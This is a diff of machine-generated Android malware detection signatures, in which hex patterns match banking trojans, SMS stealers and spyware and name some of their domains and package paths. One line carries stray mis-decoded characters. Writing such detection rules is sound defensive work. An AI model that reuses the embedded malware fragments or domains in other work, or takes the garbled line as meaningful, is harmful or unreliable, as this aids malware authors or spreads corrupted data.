8c 72 65 61 e2 80 8c 74 65 20 62 e2 80 8c 79 20 69 e2 80 8c 72 68 e2 80 8c 61 63 6b 01 00 11 00 69 72 68 e2 80 } //29441 - $a_6b_3 = {61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 62 61 6e 6b 65 72 2e 46 00 01 00 1b 01 49 43 49 43 49 20 42 61 6e 6b 20 50 65 72 73 6f 6e 61 6c } //24972 - $a_6e_4 = {69 6e 67 01 00 1a 01 4d 6f 62 69 6c 65 20 3a 20 59 6f 75 72 20 4d 6f 62 69 6c 65 20 50 68 6f 6e 65 01 00 0d 01 43 61 72 64 5f 52 65 55 70 6c 6f 61 64 00 00 be 79 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 61 6e 64 6f 72 61 2e 41 00 04 00 } //16928 + $a_6b_3 = {61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 41 4a 21 4d 54 42 00 01 00 20 01 22 00 1a 0a 70 10 db 34 00 00 1a 01 d3 33 1b } //24972 + $a_00_4 = {00 6e 30 e3 34 10 02 71 20 85 32 04 00 01 00 22 01 22 00 32 00 1a 01 80 32 70 20 91 00 10 00 1a 01 00 3b 1a 02 d8 47 6e 30 9c 00 10 02 6e 20 8a 00 04 00 00 00 be 79 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a } //-4094 condition: - ((#a_41_0 & 1)*20515+(#a_6e_2 & 1)*29441+(#a_6b_3 & 1)*24972+(#a_6e_4 & 1)*16928) >=5 + ((#a_41_0 & 1)*20515+(#a_6e_2 & 1)*29441+(#a_6b_3 & 1)*24972+(#a_00_4 & 1)*-4094) >=5 } -rule _InfrastructureShared_24641{ +rule _InfrastructureShared_25938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 03 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4d 61 6c 41 63 74 6f 72 2e 41 00 01 00 1f 00 63 e2 80 8c 72 65 61 e2 80 8c 74 65 20 62 e2 80 8c 79 20 69 e2 80 8c 72 68 e2 80 8c 61 63 6b 01 00 11 00 69 72 } //21539 - $a_8c_1 = {63 6b 5f 61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 62 61 6e 6b 65 72 2e 46 00 01 00 1b 01 49 43 49 43 49 20 42 61 6e 6b 20 50 65 72 73 6f 6e 61 6c 20 42 61 6e 6b 69 6e 67 01 00 1a 01 4d 6f 62 69 6c 65 20 3a 20 59 6f 75 72 20 } //-7576 - $a_69_2 = {65 20 50 68 6f 6e 65 01 00 0d 01 43 61 72 64 5f 52 65 55 70 6c 6f 61 64 00 00 be 79 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 50 61 6e 64 6f 72 61 2e 41 00 04 00 28 01 63 6f 6d 2e 69 6e 74 65 72 61 63 74 69 76 65 2e 62 72 61 73 69 6c 69 70 74 } //28493 + $a_8c_1 = {63 6b 5f 61 e2 80 8c 70 70 73 01 00 12 00 4d 61 e2 80 8c 68 64 69 5f 6b 69 6c e2 80 8c 6c 65 72 00 00 be 79 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 41 4a 21 4d 54 42 00 01 00 20 01 22 00 1a 0a 70 10 db 34 00 00 1a 01 d3 33 1b 02 f0 49 00 00 6e 30 e3 34 10 02 71 20 85 32 04 00 01 00 22 01 22 00 32 00 1a } //-7576 + $a_70_2 = {91 00 10 00 1a 01 00 3b 1a 02 d8 47 6e 30 9c 00 10 02 6e 20 8a 00 04 00 00 00 be 79 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 } //-32767 condition: - ((#a_4c_0 & 1)*21539+(#a_8c_1 & 1)*-7576+(#a_69_2 & 1)*28493) >=2 + ((#a_4c_0 & 1)*21539+(#a_8c_1 & 1)*-7576+(#a_70_2 & 1)*-32767) >=2 } -rule _InfrastructureShared_24642{ +rule _InfrastructureShared_25939{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 41 4a 21 4d 54 42 00 01 00 20 01 22 00 1a 0a 70 10 db 34 00 00 1a 01 d3 33 1b 02 f0 49 00 00 6e 30 e3 34 10 02 71 20 85 32 04 00 } //21539 + $a_01_1 = {22 00 32 00 1a 01 80 32 70 20 91 00 10 00 1a 01 00 3b 1a 02 d8 47 6e 30 9c 00 10 02 6e 20 8a 00 04 00 } //1 + condition: + ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1) >=2 + +} +rule _InfrastructureShared_25940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322767,7 +339418,7 @@ rule _InfrastructureShared_24642{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*8293+(#a_72_2 & 1)*28225) >=3 } -rule _InfrastructureShared_24643{ +rule _InfrastructureShared_25941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 02 00 21 " @@ -322778,7 +339429,7 @@ rule _InfrastructureShared_24643{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28784) >=5 } -rule _InfrastructureShared_24644{ +rule _InfrastructureShared_25942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322791,43 +339442,44 @@ rule _InfrastructureShared_24644{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*25958+(#a_00_2 & 1)*18770+(#a_6f_3 & 1)*29441) >=4 } -rule _InfrastructureShared_24645{ +rule _InfrastructureShared_25943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 41 67 65 6e 74 2e 41 00 01 00 06 01 75 34 51 26 30 23 01 00 06 01 75 36 25 79 40 31 01 00 06 01 79 23 30 54 35 24 01 00 09 01 75 72 69 53 4d 53 55 52 49 01 00 08 01 73 } //16675 $a_65_1 = {50 53 01 00 15 01 75 72 6c 5f 36 35 5f 6f 74 70 5f 73 65 6e 64 5f 73 69 67 69 6e 00 00 be 7b 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 41 6e 64 72 6f 69 64 4f 53 2f 4a 69 61 67 75 2e 42 21 4d 54 42 00 01 00 29 03 0c 01 12 00 21 12 35 20 0c 00 49 02 01 00 df 02 02 10 8e 22 50 02 01 00 d8 00 00 01 28 f4 71 10 90 01 02 01 00 0c 00 90 00 01 00 } //28532 - $a_64_2 = {74 61 2f 64 61 74 61 2f 50 41 43 4b 41 47 45 4e 41 4d 45 2f 6c 69 62 2f 6c 69 62 6a 67 64 74 63 2e 73 6f 00 00 be 7b 00 00 02 00 02 00 02 00 } //38 - $a_45_3 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 46 6f 72 77 2e 59 21 4d 54 42 00 01 00 20 01 72 10 f4 21 03 00 0a 04 38 04 0c 00 72 10 f5 21 03 00 0c 04 1f 04 ba 04 6e 10 13 1d 04 00 28 f1 01 00 24 01 35 13 12 00 6e 20 66 0e 36 00 } //8993 - $a_04_4 = {80 04 71 10 c9 20 03 00 0c 05 6e 30 3f 22 40 05 d8 03 03 01 28 ef 00 00 be 7c 00 00 04 00 04 } //1036 + $a_64_2 = {74 61 2f 64 61 74 61 2f 50 41 43 4b 41 47 45 4e 41 4d 45 2f 6c 69 62 2f 6c 69 62 6a 67 64 74 63 2e 73 6f 00 00 be 7c 00 00 02 00 02 00 02 00 } //38 + $a_45_3 = {3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 41 43 21 4d 54 42 00 01 00 18 03 22 00 b9 00 70 10 7c 03 00 00 6e 10 90 01 01 0f 04 00 0c 01 1a 02 90 00 01 00 27 03 0f 54 00 0c 05 1a 02 90 01 01 1e 71 } //8993 + $a_25_4 = {1f 05 77 03 6e 10 90 01 01 11 05 00 0a 05 38 05 05 00 1a 05 90 00 00 00 be 7c 00 00 04 00 04 00 04 00 21 23 41 } //18464 + $a_41_5 = {77 61 72 65 3a 41 6e 64 72 6f 69 64 4f 53 2f 48 61 6d 6f 62 2e 41 21 4d 54 42 00 01 00 10 00 53 65 6e 64 52 65 67 69 73 74 65 72 65 64 49 64 01 00 09 00 73 6f 66 74 6f 74 65 } //17996 慷敲䄺摮潲摩协䠯浡扯䄮䴡䉔Āက匀湥剤来獩整敲䥤Ťऀ猀景潴整 condition: - ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28532+(#a_64_2 & 1)*38+(#a_45_3 & 1)*8993+(#a_04_4 & 1)*1036) >=6 + ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*28532+(#a_64_2 & 1)*38+(#a_45_3 & 1)*8993+(#a_25_4 & 1)*18464+(#a_41_5 & 1)*17996) >=6 } -rule _InfrastructureShared_24646{ +rule _InfrastructureShared_25944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : $a_4c_0 = {41 6e 64 72 6f 69 64 4f 53 2f 4a 69 61 67 75 2e 42 21 4d 54 42 00 01 00 29 03 0c 01 12 00 21 12 35 20 0c 00 49 02 01 00 df 02 02 10 8e 22 50 02 01 00 d8 00 00 01 28 f4 71 10 90 01 02 01 00 0c 00 90 00 01 00 } //21539 - $a_64_1 = {74 61 2f 64 61 74 61 2f 50 41 43 4b 41 47 45 4e 41 4d 45 2f 6c 69 62 2f 6c 69 62 6a 67 64 74 63 2e 73 6f 00 00 be 7b 00 00 02 00 02 00 02 00 } //38 + $a_64_1 = {74 61 2f 64 61 74 61 2f 50 41 43 4b 41 47 45 4e 41 4d 45 2f 6c 69 62 2f 6c 69 62 6a 67 64 74 63 2e 73 6f 00 00 be 7c 00 00 02 00 02 00 02 00 } //38 condition: ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*38) >=2 } -rule _InfrastructureShared_24647{ +rule _InfrastructureShared_25945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 46 6f 72 77 2e 59 21 4d 54 42 00 01 00 20 01 72 10 f4 21 03 00 0a 04 38 04 0c 00 72 10 f5 21 03 00 0c 04 1f 04 ba 04 6e 10 13 1d 04 00 28 f1 } //21539 - $a_01_1 = {35 13 12 00 6e 20 66 0e 36 00 0c 04 1f 04 80 04 71 10 c9 20 03 00 0c 05 6e 30 3f 22 40 05 d8 03 03 01 28 ef } //1 + $a_4c_0 = {54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 52 65 77 61 72 64 53 74 65 61 6c 2e 41 43 21 4d 54 42 00 01 00 18 03 22 00 b9 00 70 10 7c 03 00 00 6e 10 90 01 01 0f 04 00 0c 01 1a 02 90 00 01 00 } //21539 + $a_54_1 = {0c 05 1a 02 90 01 01 1e 71 20 48 25 25 00 1f } //807 condition: - ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*1) >=2 + ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*807) >=2 } -rule _InfrastructureShared_24648{ +rule _InfrastructureShared_25946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322840,7 +339492,7 @@ rule _InfrastructureShared_24648{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*24936+(#a_01_2 & 1)*25959+(#a_65_3 & 1)*25701) >=4 } -rule _InfrastructureShared_24649{ +rule _InfrastructureShared_25947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322853,7 +339505,7 @@ rule _InfrastructureShared_24649{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20+(#a_42_2 & 1)*11890+(#a_7a_3 & 1)*25701) >=4 } -rule _InfrastructureShared_24650{ +rule _InfrastructureShared_25948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322866,7 +339518,7 @@ rule _InfrastructureShared_24650{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*27748+(#a_00_2 & 1)*12147+(#a_69_3 & 1)*26956) >=4 } -rule _InfrastructureShared_24651{ +rule _InfrastructureShared_25949{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,06 00 06 00 03 00 21 " @@ -322878,7 +339530,7 @@ rule _InfrastructureShared_24651{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*27981+(#a_dd_2 & 1)*28164) >=6 } -rule _InfrastructureShared_24652{ +rule _InfrastructureShared_25950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322889,20 +339541,20 @@ rule _InfrastructureShared_24652{ ((#a_4c_0 & 1)*21539+(#a_05_1 & 1)*-8944) >=2 } -rule _InfrastructureShared_24653{ +rule _InfrastructureShared_25951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 6f 6c 65 72 2e 42 42 21 4d 54 42 00 01 00 1e 00 68 69 74 6c 65 72 5f 62 61 63 6b 6d 79 62 65 77 69 6c 6c 63 68 61 6e 67 65 64 73 6f 6f 6e 01 00 0d 00 2f 44 61 72 67 53 65 61 } //16675 $a_73_1 = {01 00 0b 00 79 6e 6f 74 5f 62 75 74 74 6f 6e 01 00 0c 00 73 74 61 72 74 70 6c 65 61 73 65 32 00 00 be 7e 00 00 08 00 08 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 41 67 65 6e 74 2e 41 53 00 02 00 12 01 66 69 6e 67 65 72 5f 67 75 65 73 73 5f 64 62 2e 64 62 02 00 15 01 72 65 66 72 65 73 } //28531 - $a_64_2 = {6c 47 75 65 73 73 4c 69 73 74 02 00 13 01 67 65 74 4d 6f 64 65 6c 47 75 65 73 73 66 72 6f 6d 44 42 02 00 09 01 50 41 59 50 52 49 56 43 45 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 4d 21 4d 54 42 00 01 00 1d 01 70 66 61 36 38 37 63 64 } //19816 - $a_61_3 = {61 66 66 63 30 38 2f 70 65 62 30 61 31 39 31 37 01 00 0a 01 6d 65 67 61 66 6f 6e 70 72 6f 01 00 06 01 77 61 70 5f 61 7a 01 00 11 01 73 69 67 6e 75 70 2e 62 65 65 6c 69 6e 65 2e 72 75 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 73 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 65 79 6c 6f 67 67 65 72 2e 43 21 4d } //12134 + $a_64_2 = {6c 47 75 65 73 73 4c 69 73 74 02 00 13 01 67 65 74 4d 6f 64 65 6c 47 75 65 73 73 66 72 6f 6d 44 42 02 00 09 01 50 41 59 50 52 49 56 43 45 00 00 be 7f 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 42 49 21 4d 54 42 00 01 00 2f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 6d } //19816 + $a_72_3 = {63 6c 65 61 6e 65 72 2f 4d 65 6d 6f 72 79 43 6c 65 61 6e 65 72 41 63 74 69 76 69 74 79 01 00 0a 01 63 6e 2e 6c 74 2e 67 61 6d 65 01 00 0e 01 64 61 70 6b 67 6e 61 6d 65 73 2e 74 78 74 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 4d 21 4d } //28005 condition: - ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28531+(#a_64_2 & 1)*19816+(#a_61_3 & 1)*12134) >=4 + ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28531+(#a_64_2 & 1)*19816+(#a_72_3 & 1)*28005) >=4 } -rule _InfrastructureShared_24654{ +rule _InfrastructureShared_25952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 04 00 21 " @@ -322910,12 +339562,24 @@ rule _InfrastructureShared_24654{ $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 41 67 65 6e 74 2e 41 53 00 02 00 12 01 66 69 6e 67 65 72 5f 67 75 65 73 73 5f 64 62 2e 64 62 02 00 15 01 72 65 66 72 65 73 68 4d 6f 64 65 6c 47 75 65 73 73 4c 69 73 74 } //16675 $a_01_1 = {67 65 74 4d 6f 64 65 6c 47 75 65 73 73 66 72 6f 6d 44 42 } //2 getModelGuessfromDB $a_01_2 = {50 41 59 50 52 49 56 43 45 } //2 PAYPRIVCE - $a_7f_3 = {00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 4d 21 4d 54 42 00 01 00 1d 01 70 66 61 36 38 37 63 64 66 2f 70 61 38 61 66 66 63 30 38 2f 70 65 62 30 61 31 39 31 37 01 00 0a 01 6d 65 67 61 66 6f 6e 70 72 6f 01 00 06 01 77 61 70 5f 61 7a 01 00 11 01 73 69 67 6e 75 70 2e 62 65 65 6c 69 6e 65 2e 72 75 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 73 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 4b 65 79 6c 6f 67 67 65 72 2e 43 21 4d 54 42 00 01 00 1a 01 63 6f 6d 2f 62 73 } //0 + $a_7f_3 = {00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 42 49 21 4d 54 42 00 01 00 2f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 6d 65 6d 6f 72 79 63 6c 65 61 6e 65 72 2f 4d 65 6d 6f 72 79 43 6c 65 61 6e 65 72 41 63 74 69 76 69 74 79 01 00 0a 01 63 6e 2e 6c 74 2e 67 61 6d 65 01 00 0e 01 64 61 70 6b 67 6e 61 6d 65 73 2e 74 78 74 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 4d 21 4d 54 42 00 01 00 1d 01 70 66 61 36 38 37 63 } //0 condition: ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_7f_3 & 1)*0) >=8 } -rule _InfrastructureShared_24655{ +rule _InfrastructureShared_25953{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 41 67 6e 74 2e 42 49 21 4d 54 42 00 01 00 2f 01 63 6f 6d 2f 61 6e 64 72 6f 69 64 2f 6d 65 6d 6f 72 79 63 6c 65 61 6e 65 72 2f 4d 65 6d 6f 72 79 43 6c 65 } //21539 + $a_72_1 = {63 74 69 76 69 74 79 01 00 0a 01 63 6e 2e 6c 74 2e 67 61 6d 65 01 00 0e 01 64 61 70 6b 67 6e 61 6d 65 73 2e 74 78 74 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 4d 21 4d 54 42 00 01 00 1d 01 70 66 61 36 38 } //28257 + $a_66_2 = {70 61 38 61 66 66 63 30 38 2f 70 65 62 30 61 31 39 31 37 01 00 0a 01 6d 65 67 61 66 6f 6e 70 72 6f 01 00 06 01 77 61 70 5f 61 7a 01 00 11 01 73 69 67 6e 75 70 2e 62 65 65 6c 69 6e 65 2e 72 75 00 00 be 7f 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 73 70 79 3a 41 6e 64 72 6f 69 64 4f } //25399 + condition: + ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*28257+(#a_66_2 & 1)*25399) >=3 + +} +rule _InfrastructureShared_25954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322928,7 +339592,7 @@ rule _InfrastructureShared_24655{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*28518+(#a_67_2 & 1)*28524+(#a_0a_3 & 1)*8196) >=4 } -rule _InfrastructureShared_24656{ +rule _InfrastructureShared_25955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -322940,7 +339604,7 @@ rule _InfrastructureShared_24656{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*20596+(#a_33_2 & 1)*4608) >=4 } -rule _InfrastructureShared_24657{ +rule _InfrastructureShared_25956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322951,7 +339615,7 @@ rule _InfrastructureShared_24657{ ((#a_4c_0 & 1)*21539+(#a_11_1 & 1)*20480) >=2 } -rule _InfrastructureShared_24658{ +rule _InfrastructureShared_25957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,02 00 02 00 02 00 21 " @@ -322962,7 +339626,19 @@ rule _InfrastructureShared_24658{ ((#a_4c_0 & 1)*21539+(#a_59_1 & 1)*14193) >=2 } -rule _InfrastructureShared_24659{ +rule _InfrastructureShared_25958{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 70 79 41 67 6e 74 2e 4f 21 4d 54 42 00 02 00 21 81 01 2f 73 63 72 69 70 74 73 2f 67 65 74 5f 61 70 6b 2f 69 6e 64 65 78 2e 70 68 70 3f 70 68 6f 6e 65 3d } //21539 + $a_81_1 = {73 63 72 69 70 74 64 73 2e 78 79 7a } //1 scriptds.xyz + $a_81_2 = {46 69 6c 6c 20 69 6e 20 74 68 65 20 4e 61 6d 65 20 66 69 65 6c 64 64 } //1 Fill in the Name fieldd + condition: + ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=4 + +} +rule _InfrastructureShared_25959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,05 00 05 00 05 00 21 " @@ -322976,7 +339652,7 @@ rule _InfrastructureShared_24659{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*24931+(#a_6e_2 & 1)*19969+(#a_21_3 & 1)*11877+(#a_63_4 & 1)*24942) >=5 } -rule _InfrastructureShared_24660{ +rule _InfrastructureShared_25960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,03 00 03 00 03 00 21 " @@ -322988,7 +339664,7 @@ rule _InfrastructureShared_24660{ ((#a_4c_0 & 1)*21539+(#a_64_1 & 1)*29812+(#a_01_2 & 1)*25974) >=3 } -rule _InfrastructureShared_24661{ +rule _InfrastructureShared_25961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323000,20 +339676,31 @@ rule _InfrastructureShared_24661{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*28015+(#a_63_2 & 1)*31078) >=4 } -rule _InfrastructureShared_24662{ +rule _InfrastructureShared_25962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,01 00 01 00 04 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 53 6d 73 54 68 69 65 66 2e 5a 00 01 00 0c 00 63 6f 6d 2e 68 65 6c 70 64 65 76 2e 01 00 17 00 61 63 63 6f 75 6e 74 73 65 63 75 72 65 76 65 72 69 66 79 2e 63 } //21539 $a_00_1 = {16 } //28015 - $a_6e_2 = {61 63 74 71 75 61 72 79 63 65 6e 74 65 72 2e 63 6f 6d 01 00 10 00 75 70 64 61 74 65 66 6f 72 6d 2e 63 6f 2e 69 6e 00 00 be 83 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f 69 64 4f 53 2f 42 61 6e 6b 65 72 2e 52 21 4d 54 42 00 01 00 12 00 63 6f 6d 6e 65 74 6f 72 67 69 6e 66 6f 2e 63 6f 6d 2f } //25344 - $a_00_3 = {45 58 54 52 41 5f 53 4d 53 5f 4e 4f 5f } //1 EXTRA_SMS_NO_ + $a_6e_2 = {61 63 74 71 75 61 72 79 63 65 6e 74 65 72 2e 63 6f 6d 01 00 10 00 75 70 64 61 74 65 66 6f 72 6d 2e 63 6f 2e 69 6e 00 00 be 83 00 00 04 00 04 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 50 6c 61 79 65 72 2e 56 00 02 00 26 01 69 6e 73 65 72 74 20 69 6e 74 6f 20 74 61 62 6c 65 31 28 77 61 } //25344 + $a_76_3 = {6c 75 65 73 20 28 27 77 61 73 27 29 02 00 29 01 43 52 45 41 54 45 20 54 41 42 4c 45 20 74 61 62 } //10611 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28015+(#a_6e_2 & 1)*25344+(#a_00_3 & 1)*1) >=1 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28015+(#a_6e_2 & 1)*25344+(#a_76_3 & 1)*10611) >=1 } -rule _InfrastructureShared_24663{ +rule _InfrastructureShared_25963{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 41 6e 64 72 6f 69 64 4f 53 2f 46 61 6b 65 50 6c 61 79 65 72 2e 56 00 02 00 26 01 69 6e 73 65 72 74 20 69 6e 74 6f 20 74 61 62 6c 65 31 28 77 61 73 29 20 76 61 6c 75 65 73 20 28 27 77 61 73 27 29 02 00 29 01 } //16675 + $a_41_1 = {45 20 54 41 42 4c 45 20 74 61 62 6c 65 31 28 77 61 73 20 54 45 58 54 20 50 52 49 4d 41 52 59 20 4b 45 59 29 00 00 be 83 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 41 6e 64 72 6f } //21059 + condition: + ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*21059) >=4 + +} +rule _InfrastructureShared_25964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,04 00 04 00 04 00 21 " @@ -323026,7 +339713,7 @@ rule _InfrastructureShared_24663{ ((#a_46_0 & 1)*16675+(#a_52_1 & 1)*27987+(#a_20_2 & 1)*8224+(#a_0a_3 & 1)*-28637) >=4 } -rule _InfrastructureShared_24664{ +rule _InfrastructureShared_25965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_DEXHSTR_EXT,08 00 08 00 04 00 21 " @@ -323039,7 +339726,7 @@ rule _InfrastructureShared_24664{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_4c_2 & 1)*7680+(#a_6b_3 & 1)*30316) >=8 } -rule _InfrastructureShared_24665{ +rule _InfrastructureShared_25966{ meta: description = 